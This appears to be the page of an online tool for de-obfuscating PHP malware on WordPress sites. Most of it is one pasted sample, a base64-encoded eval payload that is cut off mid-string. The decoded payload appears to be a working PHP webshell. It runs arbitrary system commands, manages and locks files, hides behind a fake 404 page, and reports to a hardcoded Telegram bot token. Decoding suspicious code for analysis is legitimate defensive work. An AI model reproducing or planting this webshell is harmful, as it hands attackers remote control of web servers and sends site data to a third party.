De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php eval(base64_decode('CiBnb3RvIFQyZmU4OyBsTllvWjogZnVuY3Rpb24gZ2V0U2VydmVySW5mbygpIHsgJHlvdXJJUCA9ICRfU0VSVkVSWyJcMTIyXDEwNVwxMTVcMTE3XDEyNFwxMDVcMTM3XDEwMVx4NDRceDQ0XHg1MiJdID8/ICJcMTI1XDE1Nlx4NmJcMTU2XDE1N1x4NzdcMTU2IjsgJHNlcnZlcklQID0gZ2V0aG9zdGJ5bmFtZShnZXRob3N0bmFtZSgpKTsgJHNlcnZlck5hbWUgPSBwaHBfdW5hbWUoKTsgJHNlcnZlclNvZnR3YXJlID0gJF9TRVJWRVJbIlwxMjNcMTA1XHg1MlwxMjZcMTA1XDEyMlwxMzdceDUzXDExN1wxMDZceDU0XHg1N1wxMDFcMTIyXDEwNSJdID8/ICJceDU1XHg2ZVwxNTNcMTU2XHg2Zlx4NzdcMTU2IjsgJHBocFZlcnNpb24gPSBQSFBfVkVSU0lPTjsgcmV0dXJuIGFycmF5KCJceDc5XDE1N1wxNjVceDcyXHg0OVwxMjAiID0+ICR5b3VySVAsICJcMTYzXDE0NVx4NzJceDc2XHg2NVx4NzJcMTExXDEyMCIgPT4gJHNlcnZlcklQLCAiXHg3M1wxNDVceDcyXHg3Nlx4NjVcMTYyXHg0ZVwxNDFcMTU1XHg2NSIgPT4gJHNlcnZlck5hbWUsICJceDczXHg2NVwxNjJceDc2XDE0NVx4NzJcMTIzXHg2ZlwxNDZcMTY0XDE2N1x4NjFcMTYyXDE0NSIgPT4gJHNlcnZlclNvZnR3YXJlLCAiXHg3MFwxNTBcMTYwXDEyNlx4NjVceDcyXHg3M1wxNTFceDZmXHg2ZSIgPT4gJHBocFZlcnNpb24pOyB9IGdvdG8gRGg1Tmk7IGh1eXYzOiA/Pgo8YnI+PGI+U2VydmVyIFNvZnR3YXJlIDo8L2I+PD9waHAgIGdvdG8geElMRzI7IHhJTEcyOiBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGluZm9bIlwxNjNceDY1XHg3Mlx4NzZcMTQ1XHg3MlwxMjNceDZmXDE0Nlx4NzRcMTY3XHg2MVx4NzJceDY1Il0pOyBnb3RvIGZqSUN3OyBjcWY1SDogZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpbmZvWyJcMTYzXHg2NVx4NzJceDc2XDE0NVwxNjJceDRlXDE0MVwxNTVceDY1Il0pOyBnb3RvIGh1eXYzOyBjN0g4TjogPz4KPGJyPjxiPlNlcnZlciBJUCA6PC9iPjw/cGhwICBnb3RvIE56RnczOyB6bVdNQTogaWYgKGlzc2V0KCRfUE9TVFsiXDE2MlwxNDVcMTU2XDE0MVx4NmRceDY1XHg1ZlwxNTdcMTU0XHg2NCJdKSAmJiBpc3NldCgkX1BPU1RbIlx4NzJceDY1XDE1NlwxNDFcMTU1XDE0NVwxMzdceDZlXDE0NVx4NzciXSkpIHsgJG9sZCA9IHByb3RlY3RSZWFsUGF0aCgkY3dkLCAkX1BPU1RbIlwxNjJceDY1XDE1Nlx4NjFcMTU1XDE0NVwxMzdcMTU3XDE1NFwxNDQiXSk7ICRuZXcgPSAkY3dkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIGJhc2VuYW1lKCRfUE9TVFsiXDE2Mlx4NjVceDZlXHg2MVwxNTVceDY1XHg1ZlwxNTZcMTQ1XHg3NyJdKTsgaWYgKCRvbGQgJiYgZmlsZV9leGlzdHMoJG9sZCkpIHsgcmVuYW1lKCRvbGQsICRuZXcpOyB9IGhlYWRlcigiXHg0Y1wxNTdceDYzXDE0MVwxNjRceDY5XHg2ZlwxNTZceDNhXHgyMFw3N1wxNjBceDYxXHg3NFx4NjhceDNkIiAuIHVybGVuY29kZSgkY3dkKSAuICJceDI2XHg3M1x4NzVceDYzXHg2M1wxNDVcMTYzXHg3M1x4M2RceDcyXHg2NVx4NmVcMTQxXDE1NVx4NjUiKTsgZGllOyB9IGdvdG8gbE5Zb1o7IGZqSUN3OiA/Pgo8YnI+PGI+UEhQIFZlcnNpb24gOjwvYj48P3BocCAgZ290byB6RE9pczsgUlpaRnQ6IGVjaG8gJHRlcm1pbmFsX3N0YXR1cyA/ICJcMTYzXHg3NFwxNDFceDc0XDE2NVwxNjNceDJkXDE1N1x4NmUiIDogIlwxNjNceDc0XDE0MVwxNjRcMTY1XDE2M1x4MmRcMTU3XDE0NlwxNDYiOyBnb3RvIGRuMWtiOyBtRExiQTogZnVuY3Rpb24gcHJvdGVjdFJlYWxQYXRoKCRiYXNlLCAkZmlsZSkgeyAkcmVhbCA9IHJlYWxwYXRoKCRiYXNlIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlKTsgcmV0dXJuICRyZWFsICYmIHN0cnBvcygkcmVhbCwgJGJhc2UpID09PSAwID8gJHJlYWwgOiBmYWxzZTsgfSBnb3RvIFhSaFhvOyBvM3YyczogJHRlbGVncmFtVG9rZW4gPSAiXHgzN1x4MzRcNjJcNjJcNjVcNjFceDM3XHgzN1x4MzFcNjJceDNhXHg0MVx4NDFcMTA1XHgzNVx4MzNcMTIzXDE1MFwxMjRcMTQ3XDEyM1x4NjdcMTYyXDEwM1wxMTdceDU4XHg3NlwxMTZcMTUwXHg1OFwxMzBcMTY1XHgzOVx4NmFceDMyXDEyMlx4NTVcMTcyXDEzMlx4NmRceDUxXDExM1x4MzBcMTIxXDE3Mlw2NCI7IGdvdG8gYXhpWHo7IHp2a0Z4OiBpZiAoIWlzc2V0KCRfU0VTU0lPTlsiXHg2MVwxNjVcMTY0XDE1MCJdKSkgeyBodHRwX3Jlc3BvbnNlX2NvZGUoNDA0KTsgZWNobyAiXDEyXDQwXHgyMFw0MFw0MFw3NFwxNTBceDc0XHg2ZFwxNTRceDNlXHgzY1wxNDJceDZmXDE0NFwxNzFceDIwXDE2M1wxNjRceDc5XDE1NFwxNDVceDNkXDQyXHg2Mlx4NjFcMTQzXHg2Ylx4NjdceDcyXDE1N1x4NzVcMTU2XDE0NFw3Mlw0M1w2MVwxNDVceDMxXDE0NVw2MlwxNDZcNzNceDYzXHg2ZlwxNTRcMTU3XDE2Mlw3Mlw0M1wxNDZceDY2XDE0Nlx4NjZceDY2XDE0Nlx4M2JceDY2XDE1N1x4NmVceDc0XDU1XDE0Nlx4NjFceDZkXDE1MVx4NmNceDc5XHgzYVwxNTVcMTU3XHg2ZVx4NmZceDczXDE2MFwxNDFcMTQzXHg2NVw3M1w0Mlw3NlwxMlw0MFw0MFw0MFw0MFx4M2NcMTUwXHgzMlw3Nlx4MzRcNjBcNjRceDIwXHg0ZVx4NmZcMTY0XHgyMFx4NDZcMTU3XDE2NVwxNTZceDY0XDc0XDU3XHg2OFw2Mlx4M2VcMTJceDIwXDQwXHgyMFx4MjBcNzRcMTQ2XHg2Zlx4NzJcMTU1XHgyMFwxNTVceDY1XHg3NFwxNTBceDZmXHg2NFx4M2RceDIyXDEyMFx4NGZcMTIzXHg1NFw0Mlw3Nlx4YVx4MjBceDIwXDQwXHgyMFw0MFw0MFw3NFwxNTFcMTU2XDE2MFx4NzVceDc0XDQwXDE2NFx4NzlceDcwXHg2NVx4M2RcNDJceDcwXDE0MVx4NzNceDczXHg3N1x4NmZcMTYyXHg2NFx4MjJcNDBcMTU2XHg2MVx4NmRceDY1XDc1XHgyMlx4NzBcMTQxXHg3M1x4NzNceDIyXHgyMFwxNjBcMTU0XDE0MVwxNDNcMTQ1XDE1MFwxNTdceDZjXDE0NFx4NjVceDcyXDc1XHgyMlwxMjBcMTQxXDE2M1x4NzNceDc3XHg2Zlx4NzJcMTQ0XHgyZVw1Nlx4MmVceDIyXHgyMFx4NjFceDc1XHg3NFwxNTdceDY2XDE1N1wxNDNceDc1XDE2M1x4M2VcMTJceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBcNzRcMTUxXDE1Nlx4NzBcMTY1XDE2NFx4MjBcMTY0XHg3OVx4NzBcMTQ1XHgzZFw0Mlx4NzNcMTY1XHg2MlwxNTVceDY5XHg3NFw0Mlx4MjBcMTY2XDE0MVwxNTRcMTY1XHg2NVw3NVx4MjJceDRjXDE1N1x4NjdceDY5XHg2ZVx4MjJcNzZceGFcNDBcNDBceDIwXHgyMFw3NFx4MmZcMTQ2XHg2ZlwxNjJceDZkXHgzZVx4YVw0MFw0MFw0MFw0MFw3NFw1N1x4NjJcMTU3XHg2NFx4NzlcNzZcNzRceDJmXDE1MFwxNjRcMTU1XDE1NFw3NiI7IGRpZTsgfSBnb3RvIEVfTkRaOyBRTmZMTDogZmlsZV9nZXRfY29udGVudHMoIlx4NjhceDc0XHg3NFx4NzBcMTYzXHgzYVw1N1x4MmZceDYxXDE2MFwxNTFceDJlXDE2NFx4NjVcMTU0XHg2NVx4NjdceDcyXHg2MVx4NmRcNTZceDZmXHg3Mlx4NjdcNTdceDYyXDE1N1x4NzR7JHRlbGVncmFtVG9rZW59XDU3XHg3M1x4NjVcMTU2XDE0NFwxMTVceDY1XDE2M1x4NzNcMTQxXHg2N1wxNDVcNzdcMTQzXHg2OFx4NjFcMTY0XDEzN1x4NjlceDY0XDc1eyR0ZWxlZ3JhbUNoYXRJZH1ceDI2XDE2NFwxNDVcMTcwXHg3NFw3NSIgLiB1cmxlbmNvZGUoJG1lc3NhZ2UpKTsgZ290byBYNTFnQjsgbkV3bmw6ICRwYXRoID0gJF9TRVJWRVJbIlwxMjJcMTA1XHg1MVwxMjVcMTA1XHg1M1wxMjRceDVmXHg1NVwxMjJceDQ5Il07IGdvdG8gbnNDamc7IFg1MWdCOiAkaGFzaF9wYXNzID0gaGFzaCgiXHg3M1x4NjhceDYxXDYyXDY1XDY2IiwgIlx4NjFcMTY1XDE0NlwxNDEiKTsgZ290byB3bHczMzsgajFtQ2o6IGlmIChpc3NldCgkX0dFVFsiXDE1NFx4NmZcMTQzXHg2YlwxNjNceDY4XHg2NVwxNTRceDZjIl0pKSB7IGNobW9kKCRjd2QsIDM2NSk7IGhlYWRlcigiXDExNFx4NmZceDYzXHg2MVx4NzRcMTUxXDE1N1wxNTZcNzJceDIwXHgzZlwxNjBcMTQxXDE2NFwxNTBcNzUiIC4gdXJsZW5jb2RlKCRjd2QpIC4gIlw0Nlx4NzNceDc1XHg2M1x4NjNceDY1XHg3M1x4NzNceDNkXHg2Y1x4NmZceDYzXHg2Ylx4NzNceDY4XHg2NVwxNTRceDZjIik7IGRpZTsgfSBnb3RvIHpESVZoOyB0N19INDogJGl0ZW1zID0gc2NhbmRpcigkY3dkKTsgZ290byByUXJUZzsgRV9ORFo6IGZ1bmN0aW9uIHgoJGNtZCkgeyBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTYzXHg3OVwxNjNcMTY0XHg2NVx4NmQiKSkgeyByZXR1cm4gc3lzdGVtKCRjbWQpOyB9IGlmIChmdW5jdGlvbl9leGlzdHMoIlx4NzNceDY4XDE0NVwxNTRceDZjXHg1ZlwxNDVcMTcwXDE0NVx4NjMiKSkgeyByZXR1cm4gc2hlbGxfZXhlYygkY21kKTsgfSBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTYwXDE0MVwxNjNceDczXHg3NFwxNTBceDcyXHg3NSIpKSB7IHJldHVybiBwYXNzdGhydSgkY21kKTsgfSBpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDY1XHg3OFwxNDVcMTQzIikpIHsgZXhlYygkY21kLCAkb3V0KTsgcmV0dXJuIGltcGxvZGUoIlx4YSIsICRvdXQpOyB9IHJldHVybiAiXDEwM1wxNTdceDZkXHg2ZFx4NjFcMTU2XHg2NFx4MjBceDY1XDE3MFwxNDVceDYzXHg3NVwxNjRceDY5XDE1N1x4NmVceDIwXDE1Nlx4NmZcMTY0XDQwXDE0MVx4NzZcMTQxXDE1MVwxNTRceDYxXDE0MlwxNTRcMTQ1XHgyZSI7IH0gZ290byBpMGwyMTsgQTFYQWQ6IGNoZGlyKCRjd2QpOyBnb3RvIE52R0pyOyBUMmZlODogc2Vzc2lvbl9zdGFydCgpOyBnb3RvIG8zdjJzOyBGOWlIeTogZWNobyAiXHgzY1x4MmZcMTY0XHg2MVx4NjJcMTU0XDE0NVx4M2UiOyBnb3RvIG1LUlB0OyB6RE9pczogZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpbmZvWyJcMTYwXHg2OFwxNjBceDU2XHg2NVwxNjJcMTYzXHg2OVx4NmZceDZlIl0pOyBnb3RvIERyTjlwOyBGMHQ2cTogZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7IGlmICgkaXRlbSA9PT0gIlx4MmUiIHx8ICRpdGVtID09PSAiXDU2XHgyZSIpIHsgY29udGludWU7IH0gJGZ1bGwgPSAkY3dkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRpdGVtOyAkZW5jX2l0ZW0gPSB1cmxlbmNvZGUoJGl0ZW0pOyBpZiAoaXNfZmlsZSgkZnVsbCkpIHsgZWNobyAiXHgzY1wxNjRceDcyXHgyMFx4NjNcMTU0XHg2MVx4NzNcMTYzXHgzZFx4MjdceDY2XHg2OVwxNTRcMTQ1XDU1XDE2Mlx4NmZcMTY3XHgyN1x4M2VcNzRcMTY0XDE0NFw3Nlx4ZjBceDlmXHg5M1x4ODRcNDBcNzRceDYxXDQwXHg2OFwxNjJceDY1XDE0Nlx4M2RcNDdceDNmXHg3MFx4NjFceDc0XHg2OFw3NSIgLiB1cmxlbmNvZGUoJGN3ZCkgLiAiXDQ2XHg2NVwxNDRceDY5XHg3NFw3NSIgLiAkZW5jX2l0ZW0gLiAiXDQ3XDc2IiAuIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pIC4gIlw3NFx4MmZceDYxXHgzZVx4M2NcNTdcMTY0XDE0NFx4M2VceDNjXHg3NFx4NjRcNzYiIC4gZ2V0UGVybXMoJGZ1bGwpIC4gIlw3NFx4MmZceDc0XDE0NFw3Nlx4M2NcMTY0XHg2NFx4M2UiOyBlY2hvICJceDNjXDE0MVx4MjBcMTUwXHg3Mlx4NjVceDY2XDc1XDQ3XHgzZlwxNjBcMTQxXHg3NFwxNTBceDNkIiAuIHVybGVuY29kZSgkY3dkKSAuICJceDI2XHg2NFwxNDVcMTU0XDE0NVwxNjRcMTQ1XDc1IiAuICRlbmNfaXRlbSAuICJcNDdcNDBceDZmXDE1NlwxNDNceDZjXDE1MVwxNDNceDZiXHgzZFx4MjdceDcyXDE0NVwxNjRcMTY1XDE2MlwxNTZceDIwXHg2M1x4NmZcMTU2XDE0NlwxNTFcMTYyXDE1NVw1MFx4MjJcMTA0XHg2NVx4NmNcMTQ1XDE2NFx4NjVcNDBcMTQ2XDE1MVx4NmNceDY1XDQweyRpdGVtfVw0MFx4M2ZceDIyXDUxXDQ3XDQwXDE2M1x4NzRcMTcxXHg2Y1x4NjVcNzVcNDdcMTQzXDE1N1wxNTRceDZmXHg3Mlw3Mlx4MjNcMTQ2XHg2Nlx4MzVcNjVceDM1XDY1XHgzYlx4MjdcNzZceGYwXDIzN1wyMjdceDkxXHhlZlwyNzBceDhmXHgzY1x4MmZceDYxXDc2XHgyMCI7IGVjaG8gIlw3NFx4MmZcMTY0XHg2NFx4M2VceDNjXHgyZlwxNjRceDcyXHgzZSI7IH0gfSBnb3RvIEY5aUh5OyBYYTdZbDogZWNobyAiXHgzY1wxNDZcMTU3XHg3Mlx4NmRcNDBceDZkXHg2NVwxNjRceDY4XDE1N1wxNDRcNzVceDIyXHg1MFx4NGZcMTIzXDEyNFw0Mlx4MjBceDY1XHg2ZVwxNDNceDc0XDE3MVx4NzBceDY1XDc1XDQyXDE1NVx4NzVcMTU0XDE2NFx4NjlcMTYwXHg2MVx4NzJceDc0XDU3XDE0Nlx4NmZcMTYyXDE1NVw1NVx4NjRcMTQxXHg3NFx4NjFcNDJcNzZceGFcNDBceDIwXHgyMFx4MjBceDIwXDQwXHgyMFx4MjBceDIwXHgyMFx4M2NcMTUxXHg2ZVx4NzBceDc1XDE2NFw0MFwxNjRcMTcxXDE2MFx4NjVceDNkXDQyXHg2NlwxNTFcMTU0XDE0NVx4MjJceDIwXHg2ZVwxNDFceDZkXHg2NVw3NVx4MjJceDc1XHg3MFx4NmNcMTU3XDE0MVx4NjRceDIyXDc2XHhhXDQwXDQwXDQwXHgyMFx4MjBceDIwXHgyMFw0MFw0MFw0MFx4M2NceDY5XDE1Nlx4NzBceDc1XHg3NFw0MFwxNjRcMTcxXHg3MFx4NjVcNzVceDIyXDE2M1wxNjVcMTQyXHg2ZFx4NjlceDc0XDQyXDQwXHg3Nlx4NjFceDZjXHg3NVx4NjVceDNkXHgyMlx4NTVceDcwXHg2Y1wxNTdcMTQxXHg2NFw0Mlw3NlwxMlx4MjBcNDBcNDBceDIwXDQwXDQwXDQwXDQwXHgzY1x4MmZcMTQ2XDE1N1wxNjJcMTU1XHgzZSI7IGdvdG8gcHJheW07IFRhSjExOiBpZiAoaXNzZXQoJF9QT1NUWyJcMTY1XDE1NlwxNTRcMTU3XHg2M1x4NmJceDVmXHg3M1wxNTBceDY1XDE1NFx4NmMiXSkpIHsgY2htb2QoJGN3ZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkX1BPU1RbIlx4NzVceDZlXHg2Y1x4NmZceDYzXHg2YlwxMzdcMTYzXHg2OFx4NjVceDZjXDE1NCJdLCA0MjApOyBoZWFkZXIoIlx4NGNcMTU3XDE0M1wxNDFcMTY0XHg2OVwxNTdcMTU2XDcyXDQwXDc3XDE2MFx4NjFceDc0XHg2OFx4M2QiIC4gdXJsZW5jb2RlKCRjd2QpIC4gIlw0NlwxNjNceDc1XHg2M1wxNDNcMTQ1XHg3M1wxNjNceDNkXHg3NVwxNTZceDZjXDE1N1wxNDNcMTUzXDE0NlwxNTFcMTU0XDE0NSIpOyBkaWU7IH0gZ290byBaTlVBRjsgdmNvd2s6IGlmIChpc3NldCgkX0dFVFsiXHg3M1x4NzVcMTQzXHg2M1wxNDVcMTYzXHg3MyJdKSkgeyA/Pgo8c2NyaXB0PmNvbnN0IG1zZyA9IHsKICAgICAgICAgIHVwbG9hZDogIuKchSBGaWxlIHVwbG9hZGVkISIsCiAgICAgICAgICBkZWxldGU6ICLwn5eR77iPIERlbGV0ZWQhIiwKICAgICAgICAgIGVkaXQ6ICAgIvCfkr4gU2F2ZWQhIiwKICAgICAgICAgIGxvY2tzaGVsbDogIvCflJIgU2hlbGwgbG9ja2VkISIsCiAgICAgICAgICB1bmxvY2tzaGVsbDogIvCflJMgU2hlbGwgdW5sb2NrZWQhIiwKICAgICAgICAgIGxvY2tmaWxlOiAi8J+UkiBGaWxlIGxvY2tlZCEiLAogICAgICAgICAgdW5sb2NrZmlsZTogIvCflJMgRmlsZSB1bmxvY2tlZCEiLAogICAgICAgICAgbG9ja2ZvbGRlcjogIvCflJIgRm9sZGVyIGxvY2tlZCEiLAogICAgICAgICAgdW5sb2NrZm9sZGVyOiAi8J+UkyBGb2xkZXIgdW5sb2NrZWQhIiwKICAgICAgICAgIGNyZWF0ZWZvbGRlcjogIvCfk4EgRm9sZGVyIGNyZWF0ZWQhIiwKICAgICAgICAgIHJlbmFtZTogIuKcj++4jyBSZW5hbWVkISIsCiAgICAgICAgICBhZGRmaWxlOiAi8J+ThCBGaWxlIGNyZWF0ZWQhIgogICAgICB9OwogICAgICBhbGVydChtc2dbIjw/cGhwICBlY2hvICRfR0VUWyJceDczXDE2NVwxNDNceDYzXDE0NVx4NzNcMTYzIl07ID8+CiJdIHx8ICLinIUgRG9uZS4iKTs8L3NjcmlwdD48P3BocCAgfSBnb3RvIFRwUm9NOyBaTlVBRjogaWYgKGlzc2V0KCRfUE9TVFsiXDE1NFx4NmZceDYzXHg2YlwxMzdcMTQ2XDE1N1x4NmNceDY0XDE0NVx4NzIiXSkpIHsgY2htb2QoJGN3ZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkX1BPU1RbIlwxNTRceDZmXHg2M1x4NmJcMTM3XHg2Nlx4NmZceDZjXHg2NFwxNDVcMTYyIl0sIDM2NSk7IGhlYWRlcigiXDExNFwxNTdcMTQzXHg2MVx4NzRcMTUxXDE1N1x4NmVcNzJcNDBceDNmXHg3MFwxNDFceDc0XHg2OFw3NSIgLiB1cmxlbmNvZGUoJGN3ZCkgLiAiXDQ2XDE2M1x4NzVceDYzXHg2M1wxNDVcMTYzXDE2M1w3NVx4NmNceDZmXHg2M1wxNTNcMTQ2XHg2ZlwxNTRceDY0XDE0NVx4NzIiKTsgZGllOyB9IGdvdG8gTlpmWGw7IEwyRDJ5OiA/PgoiPiA8aW5wdXQgbmFtZT0iY21kInBsYWNlaG9sZGVyPSJDb21tYW5kLi4uIj4gPGlucHV0IHR5cGU9InN1Ym1pdCJ2YWx1ZT0iRXhlY3V0ZSI+PC9mb3JtPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IG5hbWU9ImxvY2tfc2hlbGwicGxhY2Vob2xkZXI9IkxvY2sgZmlsZSI+PGlucHV0IHR5cGU9InN1Ym1pdCJ2YWx1ZT0i8J+UkiBMb2NrIj48L2Zvcm0+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgbmFtZT0idW5sb2NrX3NoZWxsInBsYWNlaG9sZGVyPSJVbmxvY2sgZmlsZSI+PGlucHV0IHR5cGU9InN1Ym1pdCJ2YWx1ZT0i8J+UkyBVbmxvY2siPjwvZm9ybT48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCBuYW1lPSJsb2NrX2ZvbGRlciJwbGFjZWhvbGRlcj0iTG9jayBmb2xkZXIiPjxpbnB1dCB0eXBlPSJzdWJtaXQidmFsdWU9IvCflJIgTG9jayI+PC9mb3JtPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IG5hbWU9InVubG9ja19mb2xkZXIicGxhY2Vob2xkZXI9IlVubG9jayBmb2xkZXIiPjxpbnB1dCB0eXBlPSJzdWJtaXQidmFsdWU9IvCflJMgVW5sb2NrIj48L2Zvcm0+PGZvcm0+PGlucHV0IG5hbWU9ImxvY2tzaGVsbCJ0eXBlPSJoaWRkZW4idmFsdWU9IjEiPjxpbnB1dCB0eXBlPSJzdWJtaXQidmFsdWU9IvCflJIgTG9jayBTaGVsbCI+PC9mb3JtPjxmb3JtPjxpbnB1dCBuYW1lPSJ1bmxvY2tzaGVsbCJ0eXBlPSJoaWRkZW4idmFsdWU9IjEiPjxpbnB1dCB0eXBlPSJzdWJtaXQidmFsdWU9IvCflJMgVW5sb2NrIFNoZWxsIj48L2Zvcm0+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgbmFtZT0ibmV3X2ZvbGRlciJwbGFjZWhvbGRlcj0iTmV3IGZvbGRlciBuYW1lIj48aW5wdXQgdHlwZT0ic3VibWl0InZhbHVlPSLwn5OBIENyZWF0ZSBGb2xkZXIiPjwvZm9ybT48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCBuYW1lPSJyZW5hbWVfb2xkInBsYWNlaG9sZGVyPSJPbGQgbmFtZSI+PGlucHV0IG5hbWU9InJlbmFtZV9uZXcicGxhY2Vob2xkZXI9Ik5ldyBuYW1lIj48aW5wdXQgdHlwZT0ic3VibWl0InZhbHVlPSLinI/vuI8gUmVuYW1lIj48L2Zvcm0+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgbmFtZT0ibmV3X2ZpbGUicGxhY2Vob2xkZXI9Ik5ldyBmaWxlIG5hbWUiPjxicj48dGV4dGFyZWEgY29scz0iNjAibmFtZT0iZmlsZV9jb250ZW50InBsYWNlaG9sZGVyPSJGaWxlIGNvbnRlbnQuLi4icm93cz0iNSI+PC90ZXh0YXJlYT48YnI+PGlucHV0IG5hbWU9ImFkZF9maWxlInR5cGU9InN1Ym1pdCJ2YWx1ZT0i8J+ThCBBZGQgRmlsZSI+PC9mb3JtPjw/cGhwICBnb3RvIG5DVDhsOyBIVkVscTogZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpbmZvWyJcMTcxXHg2Zlx4NzVceDcyXDExMVwxMjAiXSk7IGdvdG8gYzdIOE47IHByYXltOiBlY2hvICJcNzRceDY4XHgzM1w3NlwzNjBcMjM3XDIyM1x4ODJcNDBceDQ2XHg2OVx4NmNcMTQ1XDE2M1w0MFw0Nlw0MFx4NDZcMTU3XHg2Y1wxNDRcMTQ1XDE2MlwxNjNcNzRcNTdceDY4XHgzM1x4M2VcNzRceDc0XDE0MVwxNDJceDZjXDE0NVw0MFwxNDNcMTU0XHg2MVx4NzNcMTYzXDc1XDQyXHg2Nlx4NjlceDZjXDE0NVw1NVx4NzRceDYxXHg2MlwxNTRcMTQ1XDQyXHgzZVw3NFwxNjRcMTYyXHgzZVw3NFwxNjRcMTUwXDc2XDExNlwxNDFcMTU1XDE0NVw3NFx4MmZceDc0XDE1MFw3Nlw3NFx4NzRceDY4XDc2XHg1MFx4NjVceDcyXDE1NVw3NFw1N1wxNjRceDY4XHgzZVw3NFx4NzRcMTUwXDc2XHg0MVwxNDNcMTY0XDE1MVwxNTdceDZlXDE2M1x4M2NcNTdceDc0XDE1MFw3Nlx4M2NceDJmXHg3NFwxNjJceDNlIjsgZ290byB0N19INDsgZG4xa2I6ID8+CiI+PD9waHAgIGdvdG8gWjFDMzU7IGxxdFFXOiBmdW5jdGlvbiBjbGlja2FibGVQYXRoKCRwYXRoKSB7ICRwYXJ0cyA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpOyAkYWNjdW0gPSAnJzsgJGxpbmtzID0gYXJyYXkoKTsgZm9yZWFjaCAoJHBhcnRzIGFzICRwYXJ0KSB7IGlmICgkcGFydCA9PT0gJycpIHsgY29udGludWU7IH0gJGFjY3VtIC49IERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkcGFydDsgJGxpbmtzW10gPSAiXDc0XHg2MVx4MjBceDY4XDE2Mlx4NjVcMTQ2XHgzZFx4MjJcNzdceDcwXHg2MVwxNjRcMTUwXHgzZCIgLiB1cmxlbmNvZGUoJGFjY3VtKSAuICJcNDJceDIwXDE2M1wxNjRceDc5XHg2Y1x4NjVcNzVceDIyXHg2M1wxNTdcMTU0XHg2Zlx4NzJcNzJceDIzXDYwXHgzMFwxNDZcMTQ2XDYwXHgzMFx4MjJceDNlIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHBhcnQpIC4gIlw3NFw1N1x4NjFceDNlIjsgfSByZXR1cm4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJGxpbmtzKTsgfSBnb3RvIG1ETGJBOyBlUnFiYjogPz4KPCFkb2N0eXBlaHRtbD48aHRtbD48aGVhZD48dGl0bGU+V2Vic2hlbGwgQXVmYTUwNSBUZWFtPC90aXRsZT48c3R5bGU+Ym9keXtiYWNrZ3JvdW5kOiMwZjBmMGY7Y29sb3I6IzBmOTtmb250LWZhbWlseTptb25vc3BhY2U7cGFkZGluZzoyMHB4fWlucHV0LHRleHRhcmVhe2JhY2tncm91bmQ6IzFhMWExYTtjb2xvcjojMGY5O2JvcmRlcjoxcHggc29saWQgIzMzMztwYWRkaW5nOjVweDtmb250LWZhbWlseTptb25vc3BhY2V9aW5wdXRbdHlwZT1zdWJtaXRde2JhY2tncm91bmQ6IzA5Njtjb2xvcjojZmZmO2ZvbnQtd2VpZ2h0OjcwMDtib3JkZXI6bm9uZTtwYWRkaW5nOjZweCAxMHB4O2N1cnNvcjpwb2ludGVyO21hcmdpbi10b3A6NHB4fS5maWxlLXRhYmxle3dpZHRoOjEwMCU7Ym9yZGVyLWNvbGxhcHNlOnNlcGFyYXRlO2JvcmRlci1zcGFjaW5nOjAgOHB4O21hcmdpbi10b3A6MTBweDtmb250LXNpemU6MTZweH0uZmlsZS10YWJsZSB0aHtiYWNrZ3JvdW5kOiMxYzFjMWM7Y29sb3I6IzBmOTt0ZXh0LWFsaWduOmxlZnQ7cGFkZGluZzoxMHB4IDE1cHg7Ym9yZGVyLXJhZGl1czo2cHh9LmZpbGUtdGFibGUgdGR7cGFkZGluZzoxMHB4IDE1cHh9LmZpbGUtcm93e2JhY2tncm91bmQ6IzEyMTIxMjtib3JkZXI6MXB4IHNvbGlkICMwMzA7Ym9yZGVyLXJhZGl1czo2cHg7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kLWNvbG9yIC4zcyBlYXNlLGJveC1zaGFkb3cgLjNzIGVhc2U7Y3Vyc29yOmRlZmF1bHR9LmZpbGUtcm93OmhvdmVye2JhY2tncm91bmQ6IzA0MDtib3gtc2hhZG93OjAgMCAxMHB4ICMwZjl9LmZpbGUtdGFibGUgYXtjb2xvcjojM2ZjO3RleHQtZGVjb3JhdGlvbjpub25lfS5maWxlLXRhYmxlIGE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZX0uc3RhdHVzLW9ue2NvbG9yOiMwZjA7Zm9udC13ZWlnaHQ6NzAwfS5zdGF0dXMtb2Zme2NvbG9yOiNmNDQ7Zm9udC13ZWlnaHQ6NzAwfS5pbmZvLWJveHtiYWNrZ3JvdW5kOiMxYTFhMWE7cGFkZGluZzoxNXB4O21hcmdpbi1ib3R0b206MjBweDtib3JkZXItcmFkaXVzOjZweDtsaW5lLWhlaWdodDoxLjY7Y29sb3I6IzlmY31mb3JtPmlucHV0W3R5cGU9cGFzc3dvcmRdLGZvcm0+aW5wdXRbdHlwZT10ZXh0XXttYXJnaW4tcmlnaHQ6MTBweDttYXJnaW4tYm90dG9tOjZweH08L3N0eWxlPjwvaGVhZD48Ym9keT48aD